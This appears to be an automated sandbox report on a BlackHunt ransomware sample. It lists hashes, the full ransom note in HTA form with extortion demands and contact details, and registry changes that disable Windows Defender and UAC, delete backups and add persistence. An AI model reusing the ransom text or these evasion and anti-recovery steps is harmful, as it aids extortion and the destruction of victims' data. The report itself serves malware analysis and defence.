bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c

Analysis

max time kernel
122s
max time network
124s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 00:43

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General

Target

bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
Size

707KB
MD5

1b3c8897d9c4a6dbf9e91de651b11e40
SHA1

95351d0ddbacdec4271aea1807bf16aa4db8cf72
SHA256

bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c
SHA512

f0987edbf2ffe395c203300ce9dc6248caafbf40f79e34377394958a33464d70e16e9cae2b8afe2761cd58bcb5ddecb44d30a44716865b107ff4b1bc5afd6e42
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1d8rvnh:6uaTmkZJ+naie5OTamgEoKxLWg7h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> af2zOnzayDx6Zbay </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
4348	fsutil.exe
2136	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2592	wevtutil.exe
2232	wevtutil.exe
4324	wevtutil.exe
4332	wevtutil.exe
4372	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2496	bcdedit.exe
444	bcdedit.exe
2224	bcdedit.exe
4132	bcdedit.exe

Renames multiple (2890) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2500	wbadmin.exe
4160	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
4208	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\G:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\L:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\B:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\R:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\X:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\N:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\P:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\W:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\M:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\Z:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\U:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\A:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\S:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\H:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\J:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\V:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\Q:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\T:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\Y:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\I:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\K:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\O:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Javascripts\#BlackHunt_Private.key	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\#BlackHunt_Private.key	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-core-kit.xml	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\locale\#BlackHunt_Private.key	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_Private.key	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_Private.key	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\vimeo.luac	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\dtplugin\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zu\#BlackHunt_Private.key	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pt-br.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\#BlackHunt_ReadMe.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Nipigon	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Riyadh88	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-applemenu_ja.jar	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Antarctica\Rothera	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ga\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationUp_ButtonGraphic.png	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\classlist	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\#BlackHunt_Private.key	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_output\#BlackHunt_Private.key	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
